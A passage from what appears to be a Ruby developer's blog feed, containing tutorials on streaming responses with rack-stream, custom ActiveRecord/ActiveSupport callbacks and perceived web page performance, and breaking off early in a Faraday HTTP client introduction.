<div class="highlight highlight-source-ruby"><pre><span class="pl-c"># config.ru</span>
<span class="pl-c"># run with `thin start -p 9292`</span>
<span class="pl-en">require</span> <span class="pl-s">'rack-stream'</span>

<span class="pl-k">class</span> <span class="pl-v">App</span>
  <span class="pl-k">def</span> <span class="pl-en">call</span><span class="pl-kos">(</span><span class="pl-s1">env</span><span class="pl-kos">)</span>
    <span class="pl-kos">[</span><span class="pl-c1">200</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-s">'Content-Type'</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'text/plain'</span><span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">[</span><span class="pl-s">"Hello"</span><span class="pl-kos">,</span> <span class="pl-s">" "</span><span class="pl-kos">,</span> <span class="pl-s">"World"</span><span class="pl-kos">]</span><span class="pl-kos">]</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span>

<span class="pl-en">use</span> <span class="pl-v">Rack</span>::<span class="pl-v">Stream</span>
<span class="pl-en">run</span> <span class="pl-v">App</span></pre></div>
<p>If you ran this basic rack app, you could then use curl to stream it's response:</p>
<div class="highlight highlight-source-shell"><pre><span class="pl-k">&gt;</span> curl -i -N http://localhost:9292/

HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked
Connection: close
Server: thin 1.3.1 codename Triple Espresso

Hello World</pre></div>
<p>This isn't very exciting, but you'll notice that the <code>Transfer-Encoding</code> for the response is set to <code>chunked</code>. By default, rack-stream will take any downstream application's response bodies and stream them over in chunks. You can read more about <a href="http://en.wikipedia.org/wiki/Chunked_transfer_encoding" rel="nofollow">chunked transfer encoding on Wikipedia</a>.</p>
<p>Let's spice it up a bit and build an actual firehose. This next application will keep sending data to the client until the client disconnects:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">require</span> <span class="pl-s">'rack-stream'</span>

<span class="pl-k">class</span> <span class="pl-v">Firehose</span>
  <span class="pl-en">include</span> <span class="pl-v">Rack</span>::<span class="pl-v">Stream</span>::<span class="pl-c1">DSL</span>

  <span class="pl-k">def</span> <span class="pl-en">call</span><span class="pl-kos">(</span><span class="pl-s1">env</span><span class="pl-kos">)</span>
    <span class="pl-c1">EM</span><span class="pl-kos">.</span><span class="pl-en">add_periodic_timer</span><span class="pl-kos">(</span><span class="pl-c1">0.1</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
      <span class="pl-en">chunk</span> <span class="pl-s">"<span class="pl-cce">\n</span>Chunky Monkey"</span>
    <span class="pl-kos">}</span>
    <span class="pl-kos">[</span><span class="pl-c1">200</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-s">'Content-Type'</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'text/plain'</span><span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">[</span><span class="pl-s">'Hello'</span><span class="pl-kos">]</span><span class="pl-kos">]</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span>

<span class="pl-en">use</span> <span class="pl-v">Rack</span>::<span class="pl-v">Stream</span>
<span class="pl-en">run</span> <span class="pl-v">Firehose</span></pre></div>
<p>The first thing to notice is the Firehose rack endpoint includes <code>Rack::Stream::DSL</code>. This are convenience methods that allow you to access <code>env['rack.stream']</code>, which is injected into <code>env</code> whenever you <code>use Rack::Stream</code>. When a request comes in, the <code>#call</code> method schedules a timer that runs every 0.1 seconds and uses the <code>#chunk</code> method to stream data. If you run curl, you would see:</p>
<div class="highlight highlight-source-shell"><pre><span class="pl-k">&gt;</span> curl -i -N http://localhost:9292/

HTTP/1.1 200 OK
Transfer-Encoding: chunked
Connection: close
Server: thin 1.3.1 codename Triple Espresso

Hello
Chunky Monkey
Chunky Monkey
Chunky Monkey
<span class="pl-c"><span class="pl-c">#</span> ... more monkeys</span></pre></div>
<p>rack-stream also allows you to register callbacks for manipulating response chunks, and controlling when something is sent with different callbacks. Here's a more advanced example with callbacks added:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">require</span> <span class="pl-s">'rack-stream'</span>

<span class="pl-k">class</span> <span class="pl-v">Firehose</span>
  <span class="pl-en">include</span> <span class="pl-v">Rack</span>::<span class="pl-v">Stream</span>::<span class="pl-c1">DSL</span>

  <span class="pl-k">def</span> <span class="pl-en">call</span><span class="pl-kos">(</span><span class="pl-s1">env</span><span class="pl-kos">)</span>
    <span class="pl-en">after_open</span> <span class="pl-k">do</span>
      <span class="pl-en">chunk</span> <span class="pl-s">"<span class="pl-cce">\n</span>Chunky Monkey"</span>
      <span class="pl-en">close</span>  <span class="pl-c"># start closing the connection</span>
    <span class="pl-k">end</span>

    <span class="pl-en">before_chunk</span> <span class="pl-k">do</span> |<span class="pl-s1">chunks</span>|
      <span class="pl-s1">chunks</span><span class="pl-kos">.</span><span class="pl-en">map</span><span class="pl-kos">(</span>&amp;<span class="pl-pds">:upcase</span><span class="pl-kos">)</span>  <span class="pl-c"># manipulate chunks</span>
    <span class="pl-k">end</span>

    <span class="pl-en">before_close</span> <span class="pl-k">do</span>
      <span class="pl-en">chunk</span> <span class="pl-s">"<span class="pl-cce">\n</span>Goodbye!"</span>  <span class="pl-c"># send something before we close</span>
    <span class="pl-k">end</span>

    <span class="pl-kos">[</span><span class="pl-c1">200</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-s">'Content-Type'</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'text/plain'</span><span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">[</span><span class="pl-s">'Hello'</span><span class="pl-kos">]</span><span class="pl-kos">]</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span>

<span class="pl-en">use</span> <span class="pl-v">Rack</span>::<span class="pl-v">Stream</span>
<span class="pl-en">run</span> <span class="pl-v">Firehose</span></pre></div>
<p>If you ran curl now, you would see:</p>
<div class="highlight highlight-source-shell"><pre><span class="pl-k">&gt;</span> curl -i -N http://localhost:9292/

HTTP/1.1 200 OK
Transfer-Encoding: chunked
Connection: close
Server: thin 1.3.1 codename Triple Espresso

HELLO
CHUNKY MONKEY
GOODBYE<span class="pl-k">!</span></pre></div>
<p>For details about the callbacks, see <a href="https://github.com/intridea/rack-stream">the project page</a>.</p>
<p>Up until this point, I've only used curl to demonstrate hitting the rack endpoint, but one of the big benefits of rack-stream is that it'll automatically recognize WebSocket and EventSource requests and stream through those as well. For example, you could write an html file that accesses that same endpoint:</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-kos">&lt;</span><span class="pl-ent">html</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;</span><span class="pl-ent">body</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">script</span> <span class="pl-c1">type</span>='<span class="pl-s">text/javascript</span>'<span class="pl-kos">&gt;</span>
    <span class="pl-k">var</span> <span class="pl-s1">socket</span>       <span class="pl-c1">=</span> <span class="pl-k">new</span> <span class="pl-v">WebSocket</span><span class="pl-kos">(</span><span class="pl-s">'ws://localhost:9292/'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-s1">socket</span><span class="pl-kos">.</span><span class="pl-en">onopen</span>    <span class="pl-c1">=</span> <span class="pl-k">function</span><span class="pl-kos">(</span><span class="pl-kos">)</span>  <span class="pl-kos">{</span><span class="pl-en">alert</span><span class="pl-kos">(</span><span class="pl-s">"socket opened"</span><span class="pl-kos">)</span><span class="pl-kos">}</span><span class="pl-kos">;</span>
    <span class="pl-s1">socket</span><span class="pl-kos">.</span><span class="pl-en">onmessage</span> <span class="pl-c1">=</span> <span class="pl-k">function</span><span class="pl-kos">(</span><span class="pl-s1">m</span><span class="pl-kos">)</span> <span class="pl-kos">{</span><span class="pl-en">alert</span><span class="pl-kos">(</span><span class="pl-s1">m</span><span class="pl-kos">.</span><span class="pl-c1">data</span><span class="pl-kos">)</span><span class="pl-kos">}</span><span class="pl-kos">;</span>
    <span class="pl-s1">socket</span><span class="pl-kos">.</span><span class="pl-en">onclose</span>   <span class="pl-c1">=</span> <span class="pl-k">function</span><span class="pl-kos">(</span><span class="pl-kos">)</span>  <span class="pl-kos">{</span><span class="pl-en">alert</span><span class="pl-kos">(</span><span class="pl-s">"socket closed"</span><span class="pl-kos">)</span><span class="pl-kos">}</span><span class="pl-kos">;</span>
  <span class="pl-kos">&lt;/</span><span class="pl-ent">script</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">body</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">html</span><span class="pl-kos">&gt;</span></pre></div>
<p>Whether you access the endpoint with curl, ajax, or WebSockets, your backend API logic doesn't have to change.</p>
<p>For the last example, I'll show a basic chat application using Grape and Rails. The <a href="https://github.com/intridea/rack-stream/tree/master/examples">full runnable source</a> is included in the <code>examples/rails</code> directory.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">require</span> <span class="pl-s">'grape'</span>
<span class="pl-en">require</span> <span class="pl-s">'rack/stream'</span>
<span class="pl-en">require</span> <span class="pl-s">'redis'</span>
<span class="pl-en">require</span> <span class="pl-s">'redis/connection/synchrony'</span>

<span class="pl-k">class</span> <span class="pl-c1">API</span> &lt; <span class="pl-v">Grape</span>::<span class="pl-c1">API</span>
  <span class="pl-en">default_format</span> <span class="pl-pds">:txt</span>

  <span class="pl-en">helpers</span> <span class="pl-k">do</span>
    <span class="pl-en">include</span> <span class="pl-v">Rack</span>::<span class="pl-v">Stream</span>::<span class="pl-c1">DSL</span>

    <span class="pl-k">def</span> <span class="pl-en">redis</span>
      <span class="pl-c1">@redis</span> ||= <span class="pl-v">Redis</span><span class="pl-kos">.</span><span class="pl-en">new</span>
    <span class="pl-k">end</span>

    <span class="pl-k">def</span> <span class="pl-en">build_message</span><span class="pl-kos">(</span><span class="pl-s1">text</span><span class="pl-kos">)</span>
      <span class="pl-en">redis</span><span class="pl-kos">.</span><span class="pl-en">rpush</span> <span class="pl-s">'messages'</span><span class="pl-kos">,</span> <span class="pl-s1">text</span>
      <span class="pl-en">redis</span><span class="pl-kos">.</span><span class="pl-en">ltrim</span> <span class="pl-s">'messages'</span><span class="pl-kos">,</span> <span class="pl-c1">0</span><span class="pl-kos">,</span> <span class="pl-c1">50</span>
      <span class="pl-en">redis</span><span class="pl-kos">.</span><span class="pl-en">publish</span> <span class="pl-s">'messages'</span><span class="pl-kos">,</span> <span class="pl-s1">text</span>
      <span class="pl-s1">text</span>
    <span class="pl-k">end</span>
  <span class="pl-k">end</span>

  <span class="pl-en">resources</span> <span class="pl-pds">:messages</span> <span class="pl-k">do</span>
    <span class="pl-en">get</span> <span class="pl-k">do</span>
      <span class="pl-en">after_open</span> <span class="pl-k">do</span>
        <span class="pl-c"># subscribe after_open b/c this runs until the connection is closed</span>
        <span class="pl-en">redis</span><span class="pl-kos">.</span><span class="pl-en">subscribe</span> <span class="pl-s">'messages'</span> <span class="pl-k">do</span> |<span class="pl-s1">on</span>|
          <span class="pl-s1">on</span><span class="pl-kos">.</span><span class="pl-en">message</span> <span class="pl-k">do</span> |<span class="pl-s1">channel</span><span class="pl-kos">,</span> <span class="pl-s1">msg</span>|
            <span class="pl-en">chunk</span> <span class="pl-s1">msg</span>
          <span class="pl-k">end</span>
        <span class="pl-k">end</span>
      <span class="pl-k">end</span>

      <span class="pl-en">status</span> <span class="pl-c1">200</span>
      <span class="pl-en">header</span> <span class="pl-s">'Content-Type'</span><span class="pl-kos">,</span> <span class="pl-s">'application/json'</span>
      <span class="pl-en">chunk</span> *<span class="pl-en">redis</span><span class="pl-kos">.</span><span class="pl-en">lrange</span><span class="pl-kos">(</span><span class="pl-s">'messages'</span><span class="pl-kos">,</span> <span class="pl-c1">0</span><span class="pl-kos">,</span> <span class="pl-c1">50</span><span class="pl-kos">)</span>
      <span class="pl-s">""</span>
    <span class="pl-k">end</span>

    <span class="pl-en">post</span> <span class="pl-k">do</span>
      <span class="pl-en">status</span> <span class="pl-c1">201</span>
      <span class="pl-en">build_message</span><span class="pl-kos">(</span><span class="pl-en">params</span><span class="pl-kos">[</span><span class="pl-pds">:text</span><span class="pl-kos">]</span><span class="pl-kos">)</span>
    <span class="pl-k">end</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span></pre></div>
<p>This example uses redis pubsub to push out messages that are created from <code>#post</code>. Thanks to <a href="http://www.igvita.com/2010/03/22/untangling-evented-code-with-ruby-fibers/" rel="nofollow">em-synchrony</a>, requests are not blocked when no messages are being sent. It's important do the redis subscribe after the connection has been opened. Otherwise, the initial response won't be sent.</p>
<div class="markdown-heading"><h3 class="heading-element">What about socket.io?</h3><a id="user-content-what-about-socketio" class="anchor" aria-label="Permalink: What about socket.io?" href="#what-about-socketio"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>socket.io is great because it provides many transport fallbacks to give maximum compatibility with many different browsers, but its pubsub interface is too low level for capturing common app semantics. The application developer doesn't have nice REST features like HTTP verbs, resource URIs, parameter and response encoding, and request headers.</p>
<p>The goal of rack-stream is to provide clean REST-like semantics when you're developing, but allow you to swap out different transport protocols. Currently, it supports normal HTTP, WebSockets, and EventSource. But the goal is to support more protocols over time and allow custom protocols. This architecture allows socket.io to become another protocol handler that can be plugged into rack-stream. If you wanted to use Pusher as a protocol, that could also be written as a handler for rack-stream.</p>
<div class="markdown-heading"><h3 class="heading-element">Summary</h3><a id="user-content-summary" class="anchor" aria-label="Permalink: Summary" href="#summary"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>rack-stream aims to be a thin abstraction that lets Ruby developers write streaming APIs with their preferred frameworks. I plan to broaden support and test against common use cases and popular frameworks like Sinatra and Rails. If you have any questions or comments, feel free to <a href="https://github.com/intridea/rack-stream/issues">submit an issue</a> or leave a comment below!</p>
  ]]></description>
</item>

<item>
  <title>Define Custom Callbacks for ActiveRecord and More</title>
  <link>https://jch.github.io/posts/2012-03-22-define-custom-callbacks-for-activerecord-and-more.html
</link>
  <guid>https://jch.github.io/posts/2012-03-22-define-custom-callbacks-for-activerecord-and-more.html
</guid>
  <pubDate>Thu, 22 Mar 2012 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Rails ActiveRecord models have a lifecycle that developers are allowed to hook into. But while most of us know about <code>before_save</code> and <code>after_update</code>, there are a few lesser unknown callbacks that are good to know about before you reinvent them. In this post, I'll cover all of the available ActiveRecord lifecycle callbacks, and also show how you can define custom callbacks for normal ruby objects.</p>
<div class="markdown-heading"><h2 class="heading-element">Meet the Callbacks</h2><a id="user-content-meet-the-callbacks" class="anchor" aria-label="Permalink: Meet the Callbacks" href="#meet-the-callbacks"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The Rails guide for <a href="http://guides.rubyonrails.org/active_record_validations_callbacks.html" rel="nofollow">ActiveRecord Validations and Callbacks</a> is a good starting point for an introduction of the available callbacks and what they do. Most developers will be familiar with the validation and persistence callbacks, so let's start with these</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-pds">:before_validation</span><span class="pl-kos">,</span> <span class="pl-pds">:after_validation</span>
<span class="pl-pds">:before_save</span><span class="pl-kos">,</span> <span class="pl-pds">:after_save</span>
<span class="pl-pds">:before_create</span><span class="pl-kos">,</span> <span class="pl-pds">:after_create</span>
<span class="pl-pds">:before_update</span><span class="pl-kos">,</span> <span class="pl-pds">:after_update</span>
<span class="pl-pds">:before_destroy</span><span class="pl-kos">,</span> <span class="pl-pds">:after_destroy</span></pre></div>
<p>The callbacks above are self explanatory and commonly used, but if you're unfamiliar with them, or need a refresher, check out <a href="http://guides.rubyonrails.org/active_record_validations_callbacks.html" rel="nofollow">the Rails guide on the topic</a>.</p>
<div class="markdown-heading"><h2 class="heading-element">Around Callbacks</h2><a id="user-content-around-callbacks" class="anchor" aria-label="Permalink: Around Callbacks" href="#around-callbacks"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>For <code>save</code>, <code>create</code>, <code>update</code>, and <code>destroy</code>, Rails also gives extra helper methods for defining both a before and after save callback at the same time.</p>
<p>For example, suppose you wanted to trigger your own custom callback while a model was being destroyed. You can do so by defining and triggering your own callback as follows:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-k">class</span> <span class="pl-v">SomeModel</span> &lt; <span class="pl-v">ActiveRecord</span>::<span class="pl-v">Base</span>
  <span class="pl-en">define_callbacks</span> <span class="pl-pds">:custom_callback</span>

  <span class="pl-en">around_destroy</span> <span class="pl-pds">:around_callback</span>

  <span class="pl-k">def</span> <span class="pl-en">around_callback</span>
    <span class="pl-en">run_callbacks</span> <span class="pl-pds">:custom_callback</span> <span class="pl-k">do</span>
      <span class="pl-k">yield</span>  <span class="pl-c"># runs the actual destroy here</span>
    <span class="pl-k">end</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span></pre></div>
<div class="markdown-heading"><h2 class="heading-element">Custom Callbacks without ActiveRecord</h2><a id="user-content-custom-callbacks-without-activerecord" class="anchor" aria-label="Permalink: Custom Callbacks without ActiveRecord" href="#custom-callbacks-without-activerecord"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Most of the time, your Rails models will be using <a href="http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/" rel="nofollow">ActiveModel</a>, but sometimes it makes sense to use a plain old ruby object. Wouldn't it be nice if we could define callbacks in the same way? Fortunately, the callback system is neatly abstracted into <a href="http://api.rubyonrails.org/classes/ActiveSupport/Callbacks.html" rel="nofollow">ActiveSupport::Callbacks</a> so it's easy to mix into any ruby class.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c"># Look Ma, I'm just a normal ruby class!</span>
<span class="pl-k">class</span> <span class="pl-v">Group</span>
  <span class="pl-en">include</span> <span class="pl-v">ActiveSupport</span>::<span class="pl-v">Callbacks</span>
  <span class="pl-en">define_callbacks</span> <span class="pl-pds">:user_added</span>

  <span class="pl-k">def</span> <span class="pl-en">initialize</span><span class="pl-kos">(</span><span class="pl-s1">opts</span> <span class="pl-c1">=</span> <span class="pl-kos">{</span><span class="pl-kos">}</span><span class="pl-kos">)</span>
    <span class="pl-c1">@users</span> <span class="pl-c1">=</span> <span class="pl-kos">[</span><span class="pl-kos">]</span>
  <span class="pl-k">end</span>

  <span class="pl-c"># Whenever we add a new user to our array, we wrap the code</span>
  <span class="pl-c"># with `run_callbacks`. This will run any defined callbacks</span>
  <span class="pl-c"># in order.</span>
  <span class="pl-k">def</span> <span class="pl-en">add_user</span><span class="pl-kos">(</span><span class="pl-s1">u</span><span class="pl-kos">)</span>
    <span class="pl-en">run_callbacks</span> <span class="pl-pds">:user_added</span> <span class="pl-k">do</span>
      <span class="pl-c1">@users</span> &lt;&lt; <span class="pl-s1">u</span>
    <span class="pl-k">end</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span></pre></div>
<p>For a fully documented and runnable example, check out <a href="https://github.com/jch/as_callbacks_tutorial">this github project</a>. It'll also give some extra explanation about call order and inheritance.</p>
<div class="markdown-heading"><h2 class="heading-element">Other Useful Callbacks</h2><a id="user-content-other-useful-callbacks" class="anchor" aria-label="Permalink: Other Useful Callbacks" href="#other-useful-callbacks"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>
<p><strong>:after_initialize</strong> is called right after an object has been unmarshalled from the database. This allows you to do any other custom initialization you want. Instead of defining an <code>initialize</code> method on a model, use this instead.</p>
</li>
<li>
<p><strong>:after_find</strong> hasn't been useful in my experience. I haven't run into a case where I wanted to manipulate documents after a find action. It could potentially be useful for metrics and profiling.</p>
</li>
<li>
<p><strong>:after_touch</strong>. ActiveRecord allows you to <a href="http://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-touch" rel="nofollow">touch a record</a> or its association to refresh its <code>updated_at</code> attribute. I've found this callback useful to triggering notifications to users after a model has been marked as updated, but not actually changed.</p>
</li>
<li>
<p><strong>:after_commit</strong> is an interesting and tricky callback. Whenever ActiveRecord wants to make a change to a record (create, update, destroy), it wraps it around a transaction. <code>after_commit</code> is called after you're positive that something has been written out to the database. Because it is also called for destroys, it makes sense to scope the callback if you intend to use it only for saves. Be warned that after_commit can be tricky to use if you're using nested transactions. That'll probably be the topic of another post though.</p>
</li>
</ul>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c"># call for creates, updates, and deletes</span>
<span class="pl-en">after_commit</span> <span class="pl-pds">:all_callback</span>

<span class="pl-c"># call for creates and updates</span>
<span class="pl-en">after_commit</span> <span class="pl-pds">:my_callback</span><span class="pl-kos">,</span> <span class="pl-pds">:if</span> <span class="pl-c1">=&gt;</span> <span class="pl-pds">:persisted?</span></pre></div>
<ul>
<li>
<strong>:after_rollback</strong> is the complement to <code>after_commit</code>. I haven't used it yet, but I can see it as being useful for doing manual cleanup after a failed transaction.</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Go Forth and Callback!</h2><a id="user-content-go-forth-and-callback" class="anchor" aria-label="Permalink: Go Forth and Callback!" href="#go-forth-and-callback"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>While many of our models will be backed with ActiveRecord, or some ActiveModel compatitible datastore, it's nice to see how easy it is to follow a similar pattern in normal ruby without having to depend on Rails.</p>
  ]]></description>
</item>

<item>
  <title>Real Web Performance for Users, not Robots</title>
  <link>https://jch.github.io/posts/2012-03-12-real-web-performance-for-users-not-robots.html
</link>
  <guid>https://jch.github.io/posts/2012-03-12-real-web-performance-for-users-not-robots.html
</guid>
  <pubDate>Mon, 12 Mar 2012 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p><em>Republished from <a href="http://blog.opperator.com" rel="nofollow">Opperator blog</a></em></p>
<p>If I told you that a page took 130 requests to load 170 KB of data? Would you
call that a slow page?</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/real-web-requests.png"><img src="/images/real-web-requests.png" alt="130 requests for 170 KB of data" style="max-width: 100%;"></a></p>
<p>This is a trick question, and the numbers I gave are a double red herring. A
page is slow when it <strong>feels</strong> slow to a user. Without having opened up the
page for yourself in a browser, you can't have a real answer.</p>
<p>But if your gut reaction was "yeah, that's <em>damn</em> slow", I wouldn't blame ya.
It sounds like a ton of requests for the amount of data being transferred. To
disprove that the page is slow, here's a screenshot of the requests in Chrome:</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/real-web-chrome.png"><img src="/images/real-web-chrome.png" alt="Chrome network inspector showing list of requests running in parallel" style="max-width: 100%;"></a></p>
<p>The page is question is the index page to my Facebook profile. Notice how
almost all of the requests are being sent in parallel, and most of them
finishing concurrently before the actual page skeleton has finished receiving
the data.</p>
<p>As web developers, we've internalized two guidelines:</p>
<ul>
<li>minimize the number of requests</li>
<li>reduce the size of the response</li>
</ul>
<p>By themselves, these are good guidelines for web throughput performance. Where
we go wrong is when these guidelines are applied without considering how the
user will perceive the page load. There are times where it makes sense to have
<strong>more requests</strong> rather than fewer in order to reduce page load times. What
we should prioritize is page <strong>latency</strong> rather than page <strong>throughput</strong>.
Facebook wrote a great <a href="http://www.facebook.com/note.php?note_id=389414033919" rel="nofollow">blog
post</a> on this subject.
They decomposed a large monolithic page into a bunch of independent 'pagelets'
which can be generated, fetched, and rendered independently of one another.</p>
<p>With <a href="http://opperator.com" rel="nofollow">Opperator</a>, we recognize speed as a feature. And by designing our
architecture to be a set of loosely coupled services from day one, it was
natural and easy to make our pages feel fast. On top of the advice listed by
Facebook, here are some tips and notes about how we keep our pages speedy.</p>
<div class="markdown-heading"><h4 class="heading-element">Serve What You Need</h4><a id="user-content-serve-what-you-need" class="anchor" aria-label="Permalink: Serve What You Need" href="#serve-what-you-need"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Don't serve a giant JSON object of all a resource with all of it's
associations. Instead, serve only what you need, when you need it. For
example, in our models, a Project has many Services. But when you make a
request for a Project, the JSON response only includes a list of Service id's
rather than the full JSON for the Project. Of course, sometimes it makes sense
to pre-fetch associated objects, but this shouldn't be the default case.</p>
<div class="markdown-heading"><h4 class="heading-element">Serve and Render Visible Things First</h4><a id="user-content-serve-and-render-visible-things-first" class="anchor" aria-label="Permalink: Serve and Render Visible Things First" href="#serve-and-render-visible-things-first"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>As users, we don't feel page throughput, we feel page latency. It's ok for
your page to take slightly longer time to load, as long as everything the user
cares about can be seen as quickly and as smoothly as possible. The priority
we choose to serve our content is:</p>
<p><strong>CSS</strong> goes first to make sure the rendering of the page feels smooth and
natural. We don't want any flashes of unstyled elements.</p>
<p><strong>HTML page skeleton</strong> is loaded next to give overall structure and flat
content to the site. Flat content anything that isn't session dependent or
javascript dependent. Having this structure static will also help your SEO
rankings because no dynamic content rendering needs to happen server side.
This topic deserves it's own separate blog post.</p>
<p><strong>Javascript</strong> is compressed loaded with <a href="http://requirejs.org/" rel="nofollow">require.js</a>
asynchronously with web modules. Javascript builds all the interactive
elements on the page.</p>
<p><strong>Images</strong> are sprited and loaded as late as possible, with the exception of
anything that makes the page reflow and jerk.</p>
<div class="markdown-heading"><h4 class="heading-element">Render Client-Side</h4><a id="user-content-render-client-side" class="anchor" aria-label="Permalink: Render Client-Side" href="#render-client-side"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Our business logic lives within a <a href="http://github.com/intridea/grape">Grape</a>
API. The initial page load is a static HTML skeleton that is then bound to
Javascript event handlers which will populate the content from the API
backend. We use <a href="">Ember.js</a> (aka Sproutcore 2.0) to control and render all
the frontend interaction.</p>
<div class="markdown-heading"><h4 class="heading-element">Skip Duplicate Work</h4><a id="user-content-skip-duplicate-work" class="anchor" aria-label="Permalink: Skip Duplicate Work" href="#skip-duplicate-work"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Set your <a href="http://tomayko.com/writings/things-caches-do" rel="nofollow">HTTP cache headers</a>
properly. If nothing has changed, then your backend doesn't have to regenerate
a full response. Better yet, if something can safely be cached for longer,
then your backend might not be hit at all.</p>
<div class="markdown-heading"><h4 class="heading-element">CDN Your Static Assets</h4><a id="user-content-cdn-your-static-assets" class="anchor" aria-label="Permalink: CDN Your Static Assets" href="#cdn-your-static-assets"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Think of a CDN as a proxy layer in front of your app. By offloading your
static assets into the CDN, your app no longer has to worry about serving
those static assets. Not only is it less work and bandwidth on your backend,
it's also faster for your users since the CDN's edge servers will be
physically closer to your users. Two low-cost CDN providers worth checking out
are:</p>
<p><strong><a href="https://www.cloudflare.com/" rel="nofollow">Cloudflare</a></strong> is a relative newcomer to the
arena. They range from <strong>free</strong> to $20/mo for your first site. That's hard to
beat.</p>
<p>If you store your static assets in S3, then <strong><a href="http://aws.amazon.com/cloudfront/" rel="nofollow">Amazon
Cloudfront</a></strong> is worth a look. It allows
you to configure serving S3 assets through their CDN. Pricing is based on
usage.</p>
<div class="markdown-heading"><h4 class="heading-element">Defining "Fast Enough"</h4><a id="user-content-defining-fast-enough" class="anchor" aria-label="Permalink: Defining &quot;Fast Enough&quot;" href="#defining-fast-enough"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Our website is actually deployed to a different server than our API.
Technically, we could get a performance boost if they lived on the same box to
cut down on network latency. But we decided to tradeoff network latency for
clean separation of systems. There's always room down the line for further
optimization, so "fast enough" for today is good enough for us.</p>
<p><strong>What speed optimizations do you use on your site? Sound off in the comments</strong></p>
  ]]></description>
</item>

<item>
  <title>Faraday: One HTTP Client to Rule Them All</title>
  <link>https://jch.github.io/posts/2012-03-12-faraday-one-http-client-to-rule-them-all.html
</link>
  <guid>https://jch.github.io/posts/2012-03-12-faraday-one-http-client-to-rule-them-all.html
</guid>
  <pubDate>Mon, 12 Mar 2012 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p><a target="_blank" rel="noopener noreferrer" href="/images/faraday-cage.jpg"><img align="right" src="/images/faraday-cage.jpg" style="max-width: 100%;"></a></p>
Faraday is a Ruby HTTP client which allow developers to customize its behavior with middlewares. If you're familiar with [Rack](<a href="http://rack.rubyforge.org/" rel="nofollow">http://rack.rubyforge.org/</a>), then you'll love Faraday. Rather than re-implement yet another HTTP client, Faraday has adapters for popular libraries like Net::HTTP, excon, patron, and em-http. On top of having a consistent interface between different adapters, Faraday also allows you to manipulate request and responses before and after a request is executed.  This tutorial gives an introduction of common use cases built into Faraday, and also explains how to extend Faraday with custom middleware. The code is well tested and easy to follow, so I recommend browsing the source code to find extra options and features not covered in this tutorial.
<div class="markdown-heading"><h2 class="heading-element">Basics</h2><a id="user-content-basics" class="anchor" aria-label="Permalink: Basics" href="#basics"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Out of the box, Faraday functions like a normal HTTP client with a easy to use interface.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-v">Faraday</span><span class="pl-kos">.</span><span class="pl-en">get</span> <span class="pl-s">'http://example.com'</span></pre></div>
<p>Alternatively, you can initialize a <code>Faraday::Connection</code> instance:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-s1">conn</span> <span class="pl-c1">=</span> <span class="pl-v">Faraday</span><span class="pl-kos">.</span><span class="pl-en">new</span>
<span class="pl-s1">response</span> <span class="pl-c1">=</span> <span class="pl-s1">conn</span><span class="pl-kos">.</span><span class="pl-en">get</span> <span class="pl-s">'http://example.com'</span>
<span class="pl-s1">response</span><span class="pl-kos">.</span><span class="pl-en">status</span>
<span class="pl-s1">response</span><span class="pl-kos">.</span><span class="pl-en">body</span>

